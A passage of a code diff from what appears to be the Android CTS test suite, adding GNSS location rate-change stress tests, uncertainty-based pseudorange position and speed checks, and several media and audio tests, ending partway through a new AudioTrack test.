+ * 2. Mix toggling through various rates with start & stop.
+ *
+ * Inspired by bugs 65246279, 65425110
+ */
+
+public class GnssLocationRateChangeTest extends GnssTestCase {
+
+    private static final String TAG = "GnssLocationRateChangeTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 1;
+
+    private TestLocationListener mLocationListenerMain;
+    private TestLocationListener mLocationListenerAfterRateChanges;
+    // Various rates, where underlying GNSS hardware states may enter different modes
+    private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
+    private static final int LOOPS_FOR_STRESS_TEST = 20;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTestLocationManager = new TestLocationManager(getContext());
+        // Using separate listeners, so the await trigger for the after-rate-changes listener is
+        // independent of any possible locations that flow during setup, and rate change stress
+        // testing
+        mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListenerMain != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+        }
+        if (mLocationListenerAfterRateChanges != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output
+     * remains responsive after all is done.
+     */
+    public void testVariedRates() throws Exception {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        for (int timeBetweenLocationsMsec : TBF_MSEC) {
+            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                    timeBetweenLocationsMsec);
+        }
+        mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+     * that may stress the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output remains responsive
+     * after all is done.
+     */
+    public void testVariedRatesOnOff() throws Exception {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        for (int timeBetweenLocationsMsec : TBF_MSEC) {
+            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                    timeBetweenLocationsMsec);
+            // Also flip the requests on and off quickly
+            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+        }
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+
+    /**
+     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+     * in multiple loops to provide additional stress to the underlying GNSS software
+     * and firmware state machine layers, ensuring Location output remains responsive
+     * after all is done.
+     */
+    public void testVariedRatesRepetitive() throws Exception {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+        softAssert.assertTrue("Location should be received at test start",
+                mLocationListenerMain.await());
+
+        // Two loops, first without removes, then with removes
+        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+            for (int timeBetweenLocationsMsec : TBF_MSEC) {
+               mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                        timeBetweenLocationsMsec);
+            }
+        }
+        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+            for (int timeBetweenLocationsMsec : TBF_MSEC) {
+                mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+                        timeBetweenLocationsMsec);
+                // Also flip the requests on and off quickly
+                mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+            }
+        }
+
+        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+        softAssert.assertTrue("Location should be received at test end",
+                mLocationListenerAfterRateChanges.await());
+
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..d2499a0 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -16,9 +16,7 @@
 
 package android.location.cts;
 
-import android.location.Criteria;
 import android.location.Location;
-import android.location.LocationManager;
 import android.util.Log;
 
 /**
@@ -133,14 +131,18 @@
         success);
 
     SoftAssert softAssert = new SoftAssert(TAG);
+    // don't check speed of first GNSS location - it may not be ready in some cases
+    boolean checkSpeed = false;
     for (Location location : mLocationListener.getReceivedLocationList()) {
-      checkLocationRegularFields(softAssert, location);
+      checkLocationRegularFields(softAssert, location, checkSpeed);
+      checkSpeed = true;
     }
 
     softAssert.assertAll();
   }
 
-  public static void checkLocationRegularFields(SoftAssert softAssert, Location location) {
+  public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+                                                boolean checkSpeed) {
     // For the altitude: the unit is meter
     // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
     // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
@@ -177,13 +179,16 @@
     softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
         location.getLatitude() >= -90 && location.getLatitude() <= 90);
 
-    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
-        + "must have speeds.", location.hasSpeed());
+    if (checkSpeed) {
+      softAssert.assertTrue("All but the first GNSS location from LocationManager "
+              + "must have speeds.", location.hasSpeed());
+    }
 
-    // For the speed, during the cts test device shouldn't move faster than 1m/s
+    // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
+    // to 5m/s for possible early fix noise in moderate signal test environments
     if(location.hasSpeed()) {
-      softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
-          location.getSpeed() >= 0 && location.getSpeed() <= 1);
+      softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
+          location.getSpeed() >= 0 && location.getSpeed() <= 5);
     }
 
   }
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index ec78ea3..d86d612 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -39,7 +39,7 @@
   private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
   private static final int MIN_SATELLITES_REQUIREMENT = 4;
   private static final double SECONDS_PER_NANO = 1.0e-9;
-  private static final double POSITION_THRESHOLD_IN_DEGREES = 0.003; // degrees (~= 300 meters)
+
   // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
   // is 65-83 ms, which is 18 ms range.
   // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
@@ -58,6 +58,12 @@
   // that are the short end of the range.
   private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
 
+  private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
+  private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
+  private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
+  private static final float HORIZONTAL_OFFSET_SIGMA = 3;  // 3 * the ~68%ile level
+  private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
+
   private TestGnssMeasurementListener mMeasurementListener;
   private TestLocationListener mLocationListener;
 
@@ -224,92 +230,173 @@
     }
   }
 
-  /*
- * Use pseudorange calculation library to calculate position then compare to location from
- * Location Manager.
- */
-  @CddTest(requirement="7.3.3")
-  public void testPseudoPosition() throws Exception {
-    // Checks if Gnss hardware feature is present, skips test (pass) if not,
-    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
-    // From android O, CTS tests should run in the lab with GPS signal.
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
-        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
-      return;
+    /*
+     * Use pseudorange calculation library to calculate position then compare to location from
+     * Location Manager.
+     */
+    @CddTest(requirement = "7.3.3")
+    public void testPseudoPosition() throws Exception {
+        // Checks if Gnss hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+        // From android O, CTS tests should run in the lab with GPS signal.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+                TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
+            return;
+        }
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG,
+                MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+        boolean success = mLocationListener.await();
+
+        List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+        assertTrue("Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success && receivedLocationList.size() > 0);
+        Location locationFromApi = receivedLocationList.get(0);
+
+        // Since we are checking the eventCount later, there is no need to check the return value
+        // here.
+        mMeasurementListener.await();
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of Gps Event received = " + eventCount);
+        int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
+        if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
+            return;
+        }
+
+        Log.i(TAG, "This is a device from 2016 or later.");
+        assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+                eventCount > 0);
+
+        PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+                = new PseudorangePositionVelocityFromRealTimeEvents();
+        mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+                (int) (locationFromApi.getLatitude() * 1E7),
+                (int) (locationFromApi.getLongitude() * 1E7),
+                (int) (locationFromApi.getAltitude() * 1E7));
+
+        Log.i(TAG, "Location from Location Manager"
+                + ", Latitude:" + locationFromApi.getLatitude()
+                + ", Longitude:" + locationFromApi.getLongitude()
+                + ", Altitude:" + locationFromApi.getAltitude());
+
+        // Ensure at least some calculated locations have a reasonably low uncertainty
+        boolean someLocationsHaveLowPosUnc = false;
+        boolean someLocationsHaveLowVelUnc = false;
+
+        int totalCalculatedLocationCnt = 0;
+        for (GnssMeasurementsEvent event : events) {
+            // In mMeasurementListener.getEvents() we already filtered out events, at this point
+            // every event will have at least 4 satellites in one constellation.
+            mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
+                    event);
+            double[] calculatedLatLngAlt =
+                    mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+            // it will return NaN when there is no enough measurements to calculate the position
+            if (Double.isNaN(calculatedLatLngAlt[0])) {
+                continue;
+            } else {
+                totalCalculatedLocationCnt++;
+                Log.i(TAG, "Calculated Location"
+                        + ", Latitude:" + calculatedLatLngAlt[0]
+                        + ", Longitude:" + calculatedLatLngAlt[1]
+                        + ", Altitude:" + calculatedLatLngAlt[2]);
+
+                double[] posVelUncertainties =
+                        mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
+
+                double horizontalPositionUncertaintyMeters =
+                        Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
+                                + posVelUncertainties[1] * posVelUncertainties[1]);
+
+                // Tolerate large offsets, when the device reports a large uncertainty - while also
+                // ensuring (here) that some locations are produced before the test ends
+                // with a reasonably low set of error estimates
+                if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
+                    someLocationsHaveLowPosUnc = true;
+                }
+
+                // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
+                // 68%ile offset (given likely correlated errors) - then this is scaled by
+                // initially 3 sigma to give a high enough tolerance to make the test tolerant
+                // enough of noise to pass reliably.  Floor adds additional robustness in case of
+                // small errors and small error estimates.
+                double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+                        horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
+                                + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
+                        + HORIZONTAL_OFFSET_FLOOR_METERS;
+
+                Location calculatedLocation = new Location("gps");
+                calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
+                calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
+                calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
+
+                double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
+
+                Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
+                        + ", Threshold: " + horizontalOffsetThresholdMeters);
+                assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
+                                + "those reported from Location Manager.  Offset = "
+                                + horizontalOffset + " meters. Threshold = "
+                                + horizontalOffsetThresholdMeters + " meters ",
+                        horizontalOffset < horizontalOffsetThresholdMeters);
+
+                //TODO: Check for the altitude offset
+
+                // This 2D velocity uncertainty is conservatively larger than speed uncertainty
+                // as it also contains the effect of bearing uncertainty at a constant speed
+                double horizontalVelocityUncertaintyMps =
+                        Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
+                                + posVelUncertainties[5] * posVelUncertainties[5]);
+                if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
+                    someLocationsHaveLowVelUnc = true;
+                }
+
+                // Assume 1m/s uncertainty from API, for this test, if not provided
+                float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
+                        ? locationFromApi.getSpeedAccuracyMetersPerSecond()
+                        : HORIZONTAL_OFFSET_FLOOR_MPS;
+
+                // Similar 3-standard deviation plus floor threshold as
+                // horizontalOffsetThresholdMeters above
+                double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+                        horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
+                                + speedUncFromApiMps * speedUncFromApiMps)
+                        + HORIZONTAL_OFFSET_FLOOR_MPS;
+
+                double[] calculatedVelocityEnuMps =
+                        mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
+                double calculatedHorizontalSpeedMps =
+                        Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
+                                + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
+
+                Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
+                        + ", Reported Speed: " + locationFromApi.getSpeed()
+                        + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
+                assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
+                                + " pseudoranges should be close to the speed ("
+                                + locationFromApi.getSpeed() + " m/s) reported from"
+                                + " Location Manager.",
+                        Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
+                                < horizontalSpeedOffsetThresholdMps);
+            }
+        }
+
+        assertTrue("Calculated Location Count should be greater than 0.",
+                totalCalculatedLocationCnt > 0);
+        assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
+                        + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
+                someLocationsHaveLowPosUnc);
+        assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
+                        + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
+                someLocationsHaveLowVelUnc);
     }
-
-    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    mTestLocationManager.requestLocationUpdates(mLocationListener);
-
-    mMeasurementListener = new TestGnssMeasurementListener(TAG,
-                                     MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
-    mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
-    boolean success = mLocationListener.await();
-
-    List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
-    assertTrue("Time elapsed without getting enough location fixes."
-            + " Possibly, the test has been run deep indoors."
-            + " Consider retrying test outdoors.",
-        success && receivedLocationList.size() > 0);
-    Location locationFromApi = receivedLocationList.get(0);
-
-    // Since we are checking the eventCount later, there is no need to check the return value here.
-    mMeasurementListener.await();
-
-    List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
-    int eventCount = events.size();
-    Log.i(TAG, "Number of Gps Event received = " + eventCount);
-    int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
-    if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
-      return;
-    }
-
-    Log.i(TAG, "This is a device from 2016 or later.");
-    assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
-        eventCount > 0);
-
-    PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
-        = new PseudorangePositionVelocityFromRealTimeEvents();
-    mPseudorangePositionFromRealTimeEvents.setReferencePosition(
-        (int) (locationFromApi.getLatitude() * 1E7),
-        (int) (locationFromApi.getLongitude() * 1E7),
-        (int) (locationFromApi.getAltitude()  * 1E7));
-
-    Log.i(TAG, "Location from Location Manager"
-        + ", Latitude:" + locationFromApi.getLatitude()
-        + ", Longitude:" + locationFromApi.getLongitude()
-        + ", Altitude:" + locationFromApi.getAltitude());
-
-
-    int totalCalculatedLocationCnt = 0;
-    for(GnssMeasurementsEvent event : events){
-      // In mMeasurementListener.getEvents() we already filtered out events, at this point every
-      // event will have at least 4 satellites in one constellation.
-      mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(event);
-      double[] calculatedLocation =
-          mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
-      // it will return NaN when there is no enough measurements to calculate the position
-      if (Double.isNaN(calculatedLocation[0])) {
-        continue;
-      }
-      else {
-        totalCalculatedLocationCnt ++;
-        Log.i(TAG, "Calculated Location"
-            + ", Latitude:" + calculatedLocation[0]
-            + ", Longitude:" + calculatedLocation[1]
-            + ", Altitude:" + calculatedLocation[2]);
-
-        assertTrue("Latitude should be close to " + locationFromApi.getLatitude(),
-            Math.abs(calculatedLocation[0] - locationFromApi.getLatitude())
-                < POSITION_THRESHOLD_IN_DEGREES);
-        assertTrue("Longitude should be close to" + locationFromApi.getLongitude(),
-            Math.abs(calculatedLocation[1] - locationFromApi.getLongitude())
-                < POSITION_THRESHOLD_IN_DEGREES);
-        //TODO: Check for the altitude and position uncertainty.
-      }
-    }
-    assertTrue("Calculated Location Count should be greater than 0.",
-        totalCalculatedLocationCnt > 0);
-  }
 }
diff --git a/tests/tests/location/src/android/location/cts/MmsPduProvider.java b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
new file mode 100644
index 0000000..76d859e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.text.TextUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * A simple provider to send MMS PDU to platform MMS service
+ */
+public class MmsPduProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        // Not supported
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        // Not supported
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        // Not supported
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        // Not supported
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        // Not supported
+        return 0;
+    }
+
+    @Override
+    public ParcelFileDescriptor openFile(Uri uri, String fileMode) throws FileNotFoundException {
+        File file = new File(getContext().getCacheDir(), uri.getPath());
+        int mode = (TextUtils.equals(fileMode, "r") ? ParcelFileDescriptor.MODE_READ_ONLY :
+                ParcelFileDescriptor.MODE_WRITE_ONLY
+                        |ParcelFileDescriptor.MODE_TRUNCATE
+                        |ParcelFileDescriptor.MODE_CREATE);
+        return ParcelFileDescriptor.open(file, mode);
+    }
+}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
index 390d450..370999b 100644
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ b/tests/tests/location/src/android/location/cts/TestLocationManager.java
@@ -105,11 +105,11 @@
      *
      * @param locationListener location listener for request
      */
-    public void requestLocationUpdates(LocationListener locationListener) {
+    public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
         if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
             Log.i(TAG, "Request Location updates.");
             mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
-                    0 /* minTime*/,
+                    minTimeMsec,
                     0 /* minDistance */,
                     locationListener,
                     Looper.getMainLooper());
@@ -117,6 +117,15 @@
     }
 
     /**
+     * See {@code LocationManager#requestLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestLocationUpdates(LocationListener locationListener) {
+        requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
+    }
+
+    /**
      * See {@code LocationManager#requestNetworkLocationUpdates}.
      *
      * @param locationListener location listener for request
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 482cd6a..44af14d 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,7 @@
     <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
     <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
 
-    <application>
+    <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
 
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index d370d38..03d4770 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,6 +26,8 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
         <option name="runtime-hint" value="4h" />
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index cff5c18..d1e63ec 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -64,6 +64,8 @@
     0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
 };
 
+// The test content is not packaged with clearkey UUID,
+// we have to use a canned clearkey pssh for the test.
 static const uint8_t kClearkeyPssh[] = {
     // BMFF box header (4 bytes size + 'pssh')
     0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
diff --git a/tests/tests/media/res/raw/testmp3_4.mp3 b/tests/tests/media/res/raw/testmp3_4.mp3
new file mode 100755
index 0000000..2098ebd
--- /dev/null
+++ b/tests/tests/media/res/raw/testmp3_4.mp3
Binary files differ
diff --git a/tests/tests/media/res/values/strings.xml b/tests/tests/media/res/values/strings.xml
index b01b8ec..018ab70 100644
--- a/tests/tests/media/res/values/strings.xml
+++ b/tests/tests/media/res/values/strings.xml
@@ -16,4 +16,5 @@
 <resources>
     <string name="test_user_route_name">User route\'s name for test</string>
     <string name="test_route_category_name">Route category\'s name for test</string>
+    <string name="test_localizable_title">Translatable Ringtone Title</string>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 9236959..73252db 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -138,6 +138,29 @@
         mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
     }
 
+    public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
+        try {
+            // set zen mode to priority only, so playSoundEffect will check notification policy
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    true);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
+
+            // take away write-notification policy access from the package
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    false);
+
+            // playSoundEffect should NOT throw a security exception; all apps have read-access
+            mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+        } finally {
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    true);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    false);
+        }
+    }
+
     public void testMusicActive() throws Exception {
         if (mAudioManager.isMusicActive()) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index e5f9385..f3c17cf 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -145,11 +145,11 @@
         final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
         final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
         try {
-            Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+            Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
             assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
-            Integer pid = (Integer) getClientPidMethod.invoke(config, null);
+            Integer pid = (Integer) getClientPidMethod.invoke(config, (Object[]) null);
             assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
-            Integer type = (Integer) getPlayerTypeMethod.invoke(config, null);
+            Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
             assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
         } catch (Exception e) {
             fail("Exception thrown during reflection on config privileged fields"+ e);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 068087d..eb7296f 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -319,9 +319,9 @@
         try {
             final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
             final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
-            Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+            Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
             assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
-            String name = (String) getClientPackageName.invoke(config, null);
+            String name = (String) getClientPackageName.invoke(config, (Object[]) null);
             assertNotNull("client package name is null", name);
             assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
         } catch (Exception e) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 3d853d4..66999a3 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2358,6 +2358,33 @@
         assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
     }
 
+    // Test AudioTrack to see if there are any problems with large frame counts.
+    public void testAudioTrackLargeFrameCount() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testAudioTrackLargeFrameCount";
+        final int[] BUFFER_SIZES = { 4294968, 42949680, 429496800, Integer.MAX_VALUE };
+        final int[] MODES = { AudioTrack.MODE_STATIC, AudioTrack.MODE_STREAM };
+
+        for (int mode : MODES) {
